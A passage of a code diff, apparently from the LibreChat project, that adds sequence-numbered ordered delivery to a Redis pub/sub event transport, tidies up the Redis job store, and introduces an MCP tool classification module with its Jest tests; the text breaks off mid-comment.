-167,6 +365,11 @@ export class RedisEventTransport implements IEventTransport { handlers: new Map(), allSubscribersLeftCallbacks: [], abortCallbacks: [], + reorderBuffer: { + nextSeq: 0, + pending: new Map(), + flushTimeout: null, + }, }); } @@ -174,16 +377,23 @@ export class RedisEventTransport implements IEventTransport { streamState.count++; streamState.handlers.set(subscriberId, handlers); - // Subscribe to Redis channel if this is first subscriber - if (!this.subscribedChannels.has(channel)) { - this.subscribedChannels.add(channel); - this.subscriber.subscribe(channel).catch((err) => { - logger.error(`[RedisEventTransport] Failed to subscribe to ${channel}:`, err); - }); + let readyPromise = this.channelSubscriptions.get(channel); + + if (!readyPromise) { + readyPromise = this.subscriber + .subscribe(channel) + .then(() => { + logger.debug(`[RedisEventTransport] Subscription active for channel ${channel}`); + }) + .catch((err) => { + this.channelSubscriptions.delete(channel); + logger.error(`[RedisEventTransport] Failed to subscribe to ${channel}:`, err); + }); + this.channelSubscriptions.set(channel, readyPromise); } - // Return unsubscribe function return { + ready: readyPromise, unsubscribe: () => { const state = this.streams.get(streamId); if (!state) { @@ -195,10 +405,17 @@ export class RedisEventTransport implements IEventTransport { // If last subscriber left, unsubscribe from Redis and notify if (state.count === 0) { + // Clear any pending flush timeout and buffered messages + if (state.reorderBuffer.flushTimeout) { + clearTimeout(state.reorderBuffer.flushTimeout); + state.reorderBuffer.flushTimeout = null; + } + state.reorderBuffer.pending.clear(); + this.subscriber.unsubscribe(channel).catch((err) => { logger.error(`[RedisEventTransport] Failed to unsubscribe from ${channel}:`, err); }); - this.subscribedChannels.delete(channel); + this.channelSubscriptions.delete(channel); // Call all-subscribers-left callbacks for (const callback of state.allSubscribersLeftCallbacks) { @@ -208,8 +425,15 @@ export class RedisEventTransport implements IEventTransport { logger.error(`[RedisEventTransport] Error in allSubscribersLeft callback:`, err); } } - - this.streams.delete(streamId); + /** + * Preserve stream state (callbacks, abort handlers) for reconnection. + * Previously this deleted the entire state, which lost the + * allSubscribersLeftCallbacks and abortCallbacks registered by + * GenerationJobManager.createJob(). On the next subscribe() call, + * fresh state was created without those callbacks, causing + * hasSubscriber to never reset and syncReorderBuffer to be skipped. + * State is fully cleaned up by cleanup() when the job completes. + */ } }, }; @@ -217,38 +441,52 @@ export class RedisEventTransport implements IEventTransport { /** * Publish a chunk event to all subscribers across all instances. + * Includes sequence number for ordered delivery in Redis Cluster mode. */ - emitChunk(streamId: string, event: unknown): void { + async emitChunk(streamId: string, event: unknown): Promise { const channel = CHANNELS.events(streamId); - const message: PubSubMessage = { type: EventTypes.CHUNK, data: event }; + const seq = this.getNextSequence(streamId); + const message: PubSubMessage = { type: EventTypes.CHUNK, seq, data: event }; - this.publisher.publish(channel, JSON.stringify(message)).catch((err) => { + try { + await this.publisher.publish(channel, JSON.stringify(message)); + } catch (err) { logger.error(`[RedisEventTransport] Failed to publish chunk:`, err); - }); + } } /** * Publish a done event to all subscribers. + * Includes sequence number to ensure delivery after all chunks. */ - emitDone(streamId: string, event: unknown): void { + async emitDone(streamId: string, event: unknown): Promise { const channel = CHANNELS.events(streamId); - const message: PubSubMessage = { type: EventTypes.DONE, data: event }; + const seq = this.getNextSequence(streamId); + const message: PubSubMessage = { type: EventTypes.DONE, seq, data: event }; - this.publisher.publish(channel, JSON.stringify(message)).catch((err) => { + try { + await this.publisher.publish(channel, JSON.stringify(message)); + } catch (err) { logger.error(`[RedisEventTransport] Failed to publish done:`, err); - }); + throw err; + } } /** * Publish an error event to all subscribers. + * Includes sequence number to ensure delivery after all chunks. */ - emitError(streamId: string, error: string): void { + async emitError(streamId: string, error: string): Promise { const channel = CHANNELS.events(streamId); - const message: PubSubMessage = { type: EventTypes.ERROR, error }; + const seq = this.getNextSequence(streamId); + const message: PubSubMessage = { type: EventTypes.ERROR, seq, error }; - this.publisher.publish(channel, JSON.stringify(message)).catch((err) => { + try { + await this.publisher.publish(channel, JSON.stringify(message)); + } catch (err) { logger.error(`[RedisEventTransport] Failed to publish error:`, err); - }); + throw err; + } } /** @@ -282,6 +520,11 @@ export class RedisEventTransport implements IEventTransport { handlers: new Map(), allSubscribersLeftCallbacks: [callback], abortCallbacks: [], + reorderBuffer: { + nextSeq: 0, + pending: new Map(), + flushTimeout: null, + }, }); } } @@ -317,18 +560,26 @@ export class RedisEventTransport implements IEventTransport { handlers: new Map(), allSubscribersLeftCallbacks: [], abortCallbacks: [], + reorderBuffer: { + nextSeq: 0, + pending: new Map(), + flushTimeout: null, + }, }; this.streams.set(streamId, state); } state.abortCallbacks.push(callback); - // Subscribe to Redis channel if not already subscribed - if (!this.subscribedChannels.has(channel)) { - this.subscribedChannels.add(channel); - this.subscriber.subscribe(channel).catch((err) => { - logger.error(`[RedisEventTransport] Failed to subscribe to ${channel}:`, err); - }); + if (!this.channelSubscriptions.has(channel)) { + const ready = this.subscriber + .subscribe(channel) + .then(() => {}) + .catch((err) => { + this.channelSubscriptions.delete(channel); + logger.error(`[RedisEventTransport] Failed to subscribe to ${channel}:`, err); + }); + this.channelSubscriptions.set(channel, ready); } } @@ -347,18 +598,26 @@ export class RedisEventTransport implements IEventTransport { const state = this.streams.get(streamId); if (state) { + // Clear flush timeout + if (state.reorderBuffer.flushTimeout) { + clearTimeout(state.reorderBuffer.flushTimeout); + state.reorderBuffer.flushTimeout = null; + } // Clear all handlers and callbacks state.handlers.clear(); state.allSubscribersLeftCallbacks = []; state.abortCallbacks = []; + state.reorderBuffer.pending.clear(); } - // Unsubscribe from Redis channel - if (this.subscribedChannels.has(channel)) { + // Reset sequence counter for this stream + this.resetSequence(streamId); + + if (this.channelSubscriptions.has(channel)) { this.subscriber.unsubscribe(channel).catch((err) => { logger.error(`[RedisEventTransport] Failed to cleanup ${channel}:`, err); }); - this.subscribedChannels.delete(channel); + this.channelSubscriptions.delete(channel); } this.streams.delete(streamId); @@ -368,17 +627,29 @@ export class RedisEventTransport implements IEventTransport { * Destroy all resources. */ destroy(): void { - // Unsubscribe from all channels - for (const channel of this.subscribedChannels) { - this.subscriber.unsubscribe(channel).catch(() => { - // Ignore errors during shutdown - }); + // Clear all flush timeouts and buffered messages + for (const [, state] of this.streams) { + if (state.reorderBuffer.flushTimeout) { + clearTimeout(state.reorderBuffer.flushTimeout); + state.reorderBuffer.flushTimeout = null; + } + state.reorderBuffer.pending.clear(); } - this.subscribedChannels.clear(); - this.streams.clear(); + for (const channel of this.channelSubscriptions.keys()) { + this.subscriber.unsubscribe(channel).catch(() => {}); + } + + this.channelSubscriptions.clear(); + this.streams.clear(); + this.sequenceCounters.clear(); + + try { + this.subscriber.disconnect(); + } catch { + /* ignore */ + } - // Note: Don't close Redis connections - they may be shared logger.info('[RedisEventTransport] Destroyed'); } } diff --git a/packages/api/src/stream/implementations/RedisJobStore.ts b/packages/api/src/stream/implementations/RedisJobStore.ts index cce636d5a1..727fe066eb 100644 --- a/packages/api/src/stream/implementations/RedisJobStore.ts +++ b/packages/api/src/stream/implementations/RedisJobStore.ts @@ -156,13 +156,13 @@ export class RedisJobStore implements IJobStore { // For cluster mode, we can't pipeline keys on different slots // The job key uses hash tag {streamId}, runningJobs and userJobs are on different slots if (this.isCluster) { - await this.redis.hmset(key, this.serializeJob(job)); + await this.redis.hset(key, this.serializeJob(job)); await this.redis.expire(key, this.ttl.running); await this.redis.sadd(KEYS.runningJobs, streamId); await this.redis.sadd(userJobsKey, streamId); } else { const pipeline = this.redis.pipeline(); - pipeline.hmset(key, this.serializeJob(job)); + pipeline.hset(key, this.serializeJob(job)); pipeline.expire(key, this.ttl.running); pipeline.sadd(KEYS.runningJobs, streamId); pipeline.sadd(userJobsKey, streamId); @@ -183,17 +183,23 @@ export class RedisJobStore implements IJobStore { async updateJob(streamId: string, updates: Partial): Promise { const key = KEYS.job(streamId); - const exists = await this.redis.exists(key); - if (!exists) { - return; - } const serialized = this.serializeJob(updates as SerializableJobData); if (Object.keys(serialized).length === 0) { return; } - await this.redis.hmset(key, serialized); + const fields = Object.entries(serialized).flat(); + const updated = await this.redis.eval( + 'if redis.call("EXISTS", KEYS[1]) == 1 then redis.call("HSET", KEYS[1], unpack(ARGV)) return 1 else return 0 end', + 1, + key, + ...fields, + ); + + if (updated === 0) { + return; + } // If status changed to complete/error/aborted, update TTL and remove from running set // Note: userJobs cleanup is handled lazily via self-healing in getActiveJobIdsByUser @@ -296,32 +302,46 @@ export class RedisJobStore implements IJobStore { } } - for (const streamId of streamIds) { - const job = await this.getJob(streamId); + // Process in batches of 50 to avoid sequential per-job round-trips + const BATCH_SIZE = 50; + for (let i = 0; i < streamIds.length; i += BATCH_SIZE) { + const batch = streamIds.slice(i, i + BATCH_SIZE); + const results = await Promise.allSettled( + batch.map(async (streamId) => { + const job = await this.getJob(streamId); - // Job no longer exists (TTL expired) - remove from set - if (!job) { - await this.redis.srem(KEYS.runningJobs, streamId); - this.localGraphCache.delete(streamId); - this.localCollectedUsageCache.delete(streamId); - cleaned++; - continue; - } + // Job no longer exists (TTL expired) - remove from set + if (!job) { + await this.redis.srem(KEYS.runningJobs, streamId); + this.localGraphCache.delete(streamId); + this.localCollectedUsageCache.delete(streamId); + return 1; + } - // Job completed but still in running set (shouldn't happen, but handle it) - if (job.status !== 'running') { - await this.redis.srem(KEYS.runningJobs, streamId); - this.localGraphCache.delete(streamId); - this.localCollectedUsageCache.delete(streamId); - cleaned++; - continue; - } + // Job completed but still in running set (shouldn't happen, but handle it) + if (job.status !== 'running') { + await this.redis.srem(KEYS.runningJobs, streamId); + this.localGraphCache.delete(streamId); + this.localCollectedUsageCache.delete(streamId); + return 1; + } - // Stale running job (failsafe - running for > configured TTL) - if (now - job.createdAt > this.ttl.running * 1000) { - logger.warn(`[RedisJobStore] Cleaning up stale job: ${streamId}`); - await this.deleteJob(streamId); - cleaned++; + // Stale running job (failsafe - running for > configured TTL) + if (now - job.createdAt > this.ttl.running * 1000) { + logger.warn(`[RedisJobStore] Cleaning up stale job: ${streamId}`); + await this.deleteJob(streamId); + return 1; + } + + return 0; + }), + ); + for (const result of results) { + if (result.status === 'fulfilled') { + cleaned += result.value; + } else { + logger.warn(`[RedisJobStore] Cleanup failed for a job:`, result.reason); + } } } @@ -586,16 +606,14 @@ export class RedisJobStore implements IJobStore { */ async appendChunk(streamId: string, event: unknown): Promise { const key = KEYS.chunks(streamId); - const added = await this.redis.xadd(key, '*', 'event', JSON.stringify(event)); - - // Set TTL on first chunk (when stream is created) - // Subsequent chunks inherit the stream's TTL - if (added) { - const len = await this.redis.xlen(key); - if (len === 1) { - await this.redis.expire(key, this.ttl.running); - } - } + // Pipeline XADD + EXPIRE in a single round-trip. + // EXPIRE is O(1) and idempotent — refreshing TTL on every chunk is better than + // only setting it once, since the original approach could let the TTL expire + // during long-running streams. + const pipeline = this.redis.pipeline(); + pipeline.xadd(key, '*', 'event', JSON.stringify(event)); + pipeline.expire(key, this.ttl.running); + await pipeline.exec(); } /** diff --git a/packages/api/src/stream/interfaces/IJobStore.ts b/packages/api/src/stream/interfaces/IJobStore.ts index af681fb2e9..5486b941eb 100644 --- a/packages/api/src/stream/interfaces/IJobStore.ts +++ b/packages/api/src/stream/interfaces/IJobStore.ts @@ -286,7 +286,7 @@ export interface IJobStore { * Implementations can use EventEmitter, Redis Pub/Sub, etc. */ export interface IEventTransport { - /** Subscribe to events for a stream */ + /** Subscribe to events for a stream. `ready` resolves once the transport can receive messages. */ subscribe( streamId: string, handlers: { @@ -294,16 +294,16 @@ export interface IEventTransport { onDone?: (event: unknown) => void; onError?: (error: string) => void; }, - ): { unsubscribe: () => void }; + ): { unsubscribe: () => void; ready?: Promise }; - /** Publish a chunk event */ - emitChunk(streamId: string, event: unknown): void; + /** Publish a chunk event - returns Promise in Redis mode for ordered delivery */ + emitChunk(streamId: string, event: unknown): void | Promise; - /** Publish a done event */ - emitDone(streamId: string, event: unknown): void; + /** Publish a done event - returns Promise in Redis mode for ordered delivery */ + emitDone(streamId: string, event: unknown): void | Promise; - /** Publish an error event */ - emitError(streamId: string, error: string): void; + /** Publish an error event - returns Promise in Redis mode for ordered delivery */ + emitError(streamId: string, error: string): void | Promise; /** * Publish an abort signal to all replicas (Redis mode). @@ -329,6 +329,12 @@ export interface IEventTransport { /** Listen for all subscribers leaving */ onAllSubscribersLeft(streamId: string, callback: () => void): void; + /** Reset publish sequence counter for a stream (used during full stream cleanup) */ + resetSequence?(streamId: string): void; + + /** Advance subscriber reorder buffer to match publisher sequence (cross-replica safe: doesn't reset publisher counter) */ + syncReorderBuffer?(streamId: string): void; + /** Cleanup transport resources for a specific stream */ cleanup(streamId: string): void; diff --git a/packages/api/src/tools/classification.spec.ts b/packages/api/src/tools/classification.spec.ts new file mode 100644 index 0000000000..2d6fe222ec --- /dev/null +++ b/packages/api/src/tools/classification.spec.ts @@ -0,0 +1,431 @@ +import type { AgentToolOptions } from 'librechat-data-provider'; +import type { GenericTool } from '@librechat/agents'; +import type { LCToolRegistry } from './classification'; +import { + buildToolRegistryFromAgentOptions, + agentHasProgrammaticTools, + buildToolClassification, + getServerNameFromTool, + agentHasDeferredTools, +} from './classification'; + +describe('classification.ts', () => { + describe('getServerNameFromTool', () => { + it('should extract server name from MCP tool name', () => { + const result = getServerNameFromTool('list_files_mcp_Google-Workspace'); + expect(result).toBe('Google-Workspace'); + }); + + it('should return undefined for non-MCP tool', () => { + const result = getServerNameFromTool('simple_tool'); + expect(result).toBeUndefined(); + }); + + it('should handle multiple delimiters', () => { + const result = getServerNameFromTool('some_tool_mcp_Server_Name'); + expect(result).toBe('Server_Name'); + }); + }); + + describe('buildToolRegistryFromAgentOptions', () => { + it('should use agent tool options for defer_loading', () => { + const tools = [ + { name: 'tool1', description: 'Tool 1' }, + { name: 'tool2', description: 'Tool 2' }, + ]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + tool2: { defer_loading: false }, + }; + + const registry = buildToolRegistryFromAgentOptions(tools, agentToolOptions); + + expect(registry.get('tool1')?.defer_loading).toBe(true); + expect(registry.get('tool2')?.defer_loading).toBe(false); + }); + + it('should default defer_loading to false when not specified', () => { + const tools = [{ name: 'tool1', description: 'Tool 1' }]; + + const agentToolOptions: AgentToolOptions = {}; + + const registry = buildToolRegistryFromAgentOptions(tools, agentToolOptions); + + expect(registry.get('tool1')?.defer_loading).toBe(false); + }); + + it('should use agent allowed_callers when specified', () => { + const tools = [{ name: 'tool1', description: 'Tool 1' }]; + + const agentToolOptions: AgentToolOptions = { + tool1: { allowed_callers: ['code_execution'] }, + }; + + const registry = buildToolRegistryFromAgentOptions(tools, agentToolOptions); + + expect(registry.get('tool1')?.allowed_callers).toEqual(['code_execution']); + }); + + it('should default allowed_callers to direct when not specified', () => { + const tools = [{ name: 'tool1', description: 'Tool 1' }]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const registry = buildToolRegistryFromAgentOptions(tools, agentToolOptions); + + expect(registry.get('tool1')?.allowed_callers).toEqual(['direct']); + }); + }); + + describe('agentHasDeferredTools', () => { + it('should return true when registry has deferred tools', () => { + const registry: LCToolRegistry = new Map([ + ['tool1', { name: 'tool1', allowed_callers: ['direct'], defer_loading: true }], + ['tool2', { name: 'tool2', allowed_callers: ['direct'], defer_loading: false }], + ]); + + expect(agentHasDeferredTools(registry)).toBe(true); + }); + + it('should return false when no tools are deferred', () => { + const registry: LCToolRegistry = new Map([ + ['tool1', { name: 'tool1', allowed_callers: ['direct'], defer_loading: false }], + ['tool2', { name: 'tool2', allowed_callers: ['direct'], defer_loading: false }], + ]); + + expect(agentHasDeferredTools(registry)).toBe(false); + }); + + it('should return false for empty registry', () => { + const registry: LCToolRegistry = new Map(); + expect(agentHasDeferredTools(registry)).toBe(false); + }); + }); + + describe('agentHasProgrammaticTools', () => { + it('should return true when registry has programmatic tools', () => { + const registry: LCToolRegistry = new Map([ + ['tool1', { name: 'tool1', allowed_callers: ['code_execution'], defer_loading: false }], + ]); + + expect(agentHasProgrammaticTools(registry)).toBe(true); + }); + + it('should return true for dual context tools', () => { + const registry: LCToolRegistry = new Map([ + [ + 'tool1', + { name: 'tool1', allowed_callers: ['direct', 'code_execution'], defer_loading: false }, + ], + ]); + + expect(agentHasProgrammaticTools(registry)).toBe(true); + }); + + it('should return false when no programmatic tools', () => { + const registry: LCToolRegistry = new Map([ + ['tool1', { name: 'tool1', allowed_callers: ['direct'], defer_loading: false }], + ]); + + expect(agentHasProgrammaticTools(registry)).toBe(false); + }); + }); + + describe('buildToolClassification with deferredToolsEnabled', () => { + const mockLoadAuthValues = jest.fn().mockResolvedValue({}); + + const createMCPTool = (name: string, description?: string) => + ({ + name, + description, + mcp: true, + mcpJsonSchema: { type: 'object', properties: {} }, + }) as unknown as GenericTool; + + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should return hasDeferredTools: false when deferredToolsEnabled is false', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1'), createMCPTool('tool2')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: false, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.hasDeferredTools).toBe(false); + expect(result.additionalTools.length).toBe(0); + }); + + it('should clear defer_loading from all tools when deferredToolsEnabled is false', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1'), createMCPTool('tool2')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: false, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.toolRegistry).toBeDefined(); + expect(result.toolRegistry?.get('tool1')?.defer_loading).toBe(false); + expect(result.toolRegistry?.get('tool2')?.defer_loading).toBe(false); + }); + + it('should preserve defer_loading when deferredToolsEnabled is true', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1'), createMCPTool('tool2')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + tool2: { defer_loading: false }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.hasDeferredTools).toBe(true); + expect(result.toolRegistry?.get('tool1')?.defer_loading).toBe(true); + expect(result.toolRegistry?.get('tool2')?.defer_loading).toBe(false); + }); + + it('should create tool search when deferredToolsEnabled is true and has deferred tools', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.hasDeferredTools).toBe(true); + expect(result.additionalTools.some((t) => t.name === 'tool_search')).toBe(true); + }); + + it('should NOT create tool search when deferredToolsEnabled is false', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: false, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.hasDeferredTools).toBe(false); + expect(result.additionalTools.some((t) => t.name === 'tool_search')).toBe(false); + }); + + it('should default deferredToolsEnabled to true when not specified', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.hasDeferredTools).toBe(true); + }); + + it('should return early when no MCP tools are present', async () => { + const loadedTools: GenericTool[] = [ + { name: 'regular_tool', mcp: false } as unknown as GenericTool, + ]; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + deferredToolsEnabled: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.toolRegistry).toBeUndefined(); + expect(result.hasDeferredTools).toBe(false); + expect(result.additionalTools.length).toBe(0); + }); + }); + + describe('buildToolClassification with definitionsOnly', () => { + const mockLoadAuthValues = jest.fn().mockResolvedValue({ CODE_API_KEY: 'test-key' }); + + const createMCPTool = (name: string, description?: string) => + ({ + name, + description, + mcp: true, + mcpJsonSchema: { type: 'object', properties: {} }, + }) as unknown as GenericTool; + + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should NOT create tool instances when definitionsOnly=true', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + definitionsOnly: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.additionalTools.length).toBe(0); + }); + + it('should still add tool_search definition when definitionsOnly=true and has deferred tools', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + definitionsOnly: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.toolDefinitions.some((d) => d.name === 'tool_search')).toBe(true); + expect(result.toolRegistry?.has('tool_search')).toBe(true); + }); + + it('should still add PTC definition when definitionsOnly=true and has programmatic tools', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { allowed_callers: ['code_execution'] }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + definitionsOnly: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.toolDefinitions.some((d) => d.name === 'run_tools_with_code')).toBe(true); + expect(result.toolRegistry?.has('run_tools_with_code')).toBe(true); + expect(result.additionalTools.length).toBe(0); + }); + + it('should NOT call loadAuthValues for PTC when definitionsOnly=true', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { allowed_callers: ['code_execution'] }, + }; + + await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + definitionsOnly: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(mockLoadAuthValues).not.toHaveBeenCalled(); + }); + + it('should call loadAuthValues for PTC when definitionsOnly=false', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { allowed_callers: ['code_execution'] }, + }; + + await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + definitionsOnly: false, + loadAuthValues: mockLoadAuthValues, + }); + + expect(mockLoadAuthValues).toHaveBeenCalled(); + }); + + it('should create tool instances when definitionsOnly=false (default)', async () => { + const loadedTools: GenericTool[] = [createMCPTool('tool1')]; + + const agentToolOptions: AgentToolOptions = { + tool1: { defer_loading: true }, + }; + + const result = await buildToolClassification({ + loadedTools, + userId: 'user1', + agentId: 'agent1', + agentToolOptions, + deferredToolsEnabled: true, + loadAuthValues: mockLoadAuthValues, + }); + + expect(result.additionalTools.some((t) => t.name === 'tool_search')).toBe(true); + }); + }); +}); diff --git a/packages/api/src/tools/classification.ts b/packages/api/src/tools/classification.ts new file mode 100644 index 0000000000..2c65076f6f --- /dev/null +++ b/packages/api/src/tools/classification.ts @@ -0,0 +1,388 @@ +/** + * @fileoverview Utility functions for building tool registries from agent tool_options. + * Tool classification (deferred_tools, allowed_callers) is configured via the agent UI. + * + * @module packages/api/src/tools/classification + */ + +import { logger } from '@librechat/data-schemas'; +import { Constants } from 'librechat-data-provider'; +import { + EnvVar, + createToolSearch, + ToolSearchToolDefinition, + createProgrammaticToolCallingTool, + ProgrammaticToolCallingDefinition, +} from '@librechat/agents'; +import type { AgentToolOptions } from 'librechat-data-provider'; +import type { + LCToolRegistry, + JsonSchemaType, + AllowedCaller, + GenericTool, + LCTool, +} from '@librechat/agents'; + +export type { LCTool, LCToolRegistry, AllowedCaller, JsonSchemaType }; + +export interface ToolDefinition { + name: string; + description?: string; + parameters?: JsonSchemaType; + /** MCP server name extracted from tool name */ + serverName?: string; +} + +/** + * Extracts the MCP server name from a tool name. + * Tool names follow the pattern: toolName_mcp_ServerName + * @param toolName - The full tool name + * @returns The server name or undefined if not an MCP tool + */ +export function getServerNameFromTool(toolName: string): string | undefined { + const parts = toolName.split(Constants.mcp_delimiter); + if (parts.length >= 2) { + return parts[parts.length - 1]; + } + return undefined; +} + +/** + * Builds a tool registry from agent-level tool_options. + * + * @param tools - Array of tool definitions + * @param agentToolOptions - Per-tool configuration from the agent + * @returns Map of tool name to tool definition with classification + */ +export function buildToolRegistryFromAgentOptions( + tools: ToolDefinition[], + agentToolOptions: AgentToolOptions, +): LCToolRegistry { + const registry: LCToolRegistry = new Map(); + + for (const tool of tools) { + const { name, description, parameters } = tool; + const agentOptions = agentToolOptions[name]; + + const allowed_callers: AllowedCaller[] = + agentOptions?.allowed_callers && agentOptions.allowed_callers.length > 0 + ? agentOptions.allowed_callers + : ['direct']; + + const defer_loading = agentOptions?.defer_loading === true; + + const toolDef: LCTool = { + name, + allowed_callers, + defer_loading, + toolType: 'mcp', + }; + + if (description) { + toolDef.description = description; + } + if (parameters) { + toolDef.parameters = parameters; + } + if (tool.serverName) { + toolDef.serverName = tool.serverName; + } + + registry.set(name, toolDef); + } + + return registry; +} + +interface MCPToolInstance { + name: string; + description?: string; + mcp?: boolean; + /** Original JSON schema attached at MCP tool creation time */ + mcpJsonSchema?: JsonSchemaType; +} + +/** + * Extracts MCP tool definition from a loaded tool instance. + * MCP tools have the original JSON schema attached as `mcpJsonSchema` property. + * + * @param tool - The loaded tool instance + * @returns Tool definition + */ +export function extractMCPToolDefinition(tool: MCPToolInstance): ToolDefinition { + const def: ToolDefinition = { name: tool.name }; + + if (tool.description) { + def.description = tool.description; + } + + if (tool.mcpJsonSchema) { + def.parameters = tool.mcpJsonSchema; + } + + const serverName = getServerNameFromTool(tool.name); + if (serverName) { + def.serverName = serverName; + } + + return def; +} + +/** + * Checks if a tool is an MCP tool based on its properties. + * @param tool - The tool to check (can be any object with potential mcp property) + * @returns Whether the tool is an MCP tool + */ +export function isMCPTool(tool: unknown): tool is MCPToolInstance { + return typeof tool === 'object' && tool !== null && (tool as MCPToolInstance).mcp === true; +} + +/** + * Cleans up the temporary mcpJsonSchema property from MCP tools after registry is populated. + * This property is only needed during registry building and can be safely removed afterward. + * + * @param tools - Array of tools to clean up + */ +export function cleanupMCPToolSchemas(tools: MCPToolInstance[]): void { + for (const tool of tools) { + if (tool.mcpJsonSchema !== undefined) { + delete tool.mcpJsonSchema; + } + } +} + +/** Builds tool registry from MCP tool definitions. */ +function buildToolRegistry( + mcpToolDefs: ToolDefinition[], + agentToolOptions?: AgentToolOptions, +): LCToolRegistry { + if (agentToolOptions && Object.keys(agentToolOptions).length > 0) { + return buildToolRegistryFromAgentOptions(mcpToolDefs, agentToolOptions); + } + + /** No agent options - build basic definitions for event-driven mode */ + const registry: LCToolRegistry = new Map(); + for (const toolDef of mcpToolDefs) { + registry.set(toolDef.name, { + name: toolDef.name, + description: toolDef.description, + parameters: toolDef.parameters, + serverName: toolDef.serverName, + toolType: 'mcp', + }); + } + return registry; +} + +/** Parameters for building tool classification and creating PTC/tool search tools */ +export interface BuildToolClassificationParams { + /** All loaded tools (will be filtered for MCP tools) */ + loadedTools: GenericTool[]; + /** User ID for auth lookup */ + userId: string; + /** Agent ID (used for logging and context) */ + agentId?: string; + /** Per-tool configuration from the agent */ + agentToolOptions?: AgentToolOptions; + /** Whether the deferred_tools capability is enabled (from agent config) */ + deferredToolsEnabled?: boolean; + /** When true, skip creating tool instances (for event-driven mode) */ + definitionsOnly?: boolean; + /** Function to load auth values (dependency injection) */ + loadAuthValues: (params: { + userId: string; + authFields: string[]; + }) => Promise>; +} + +/** Result from building tool classification */ +export interface BuildToolClassificationResult { + /** Tool registry built from MCP tools (undefined if no MCP tools) */ + toolRegistry?: LCToolRegistry; + /** Tool definitions array for event-driven execution (built simultaneously with registry) */ + toolDefinitions: LCTool[]; + /** Additional tools created (PTC and/or tool search) */ + additionalTools: GenericTool[]; + /** Whether any tools have defer_loading enabled (precomputed for efficiency) */ + hasDeferredTools: boolean; +} + +/** + * Checks if an agent's tools have any that match PTC patterns (programmatic only or dual context). + * @param toolRegistry - The tool registry to check + * @returns Whether any tools are configured for programmatic calling + */ +export function agentHasProgrammaticTools(toolRegistry: LCToolRegistry): boolean { + for (const toolDef of toolRegistry.values()) { + if (toolDef.allowed_callers?.includes('code_execution')) { + return true; + } + } + return false; +} + +/** + * Checks if an agent's tools have any that are deferred. + * @param toolRegistry - The tool registry to check + * @returns Whether any tools are configured as deferred + */ +export function agentHasDeferredTools(toolRegistry: LCToolRegistry): boolean { + for (const toolDef of toolRegistry.values()) { + if (toolDef.defer_loading === true) { + return true; + } + } + return false; +} + +/** + * Builds the tool registry from MCP tools and conditionally creates PTC and tool search tools. + * + * This function: + * 1. Filters loaded tools for MCP tools + * 2. Extracts tool definitions and builds the registry from agent's tool_options + * 3. Cleans up temporary mcpJsonSchema properties + * 4. Creates PTC tool only if agent has tools configured for programmatic calling + * 5. Creates tool search tool only if agent 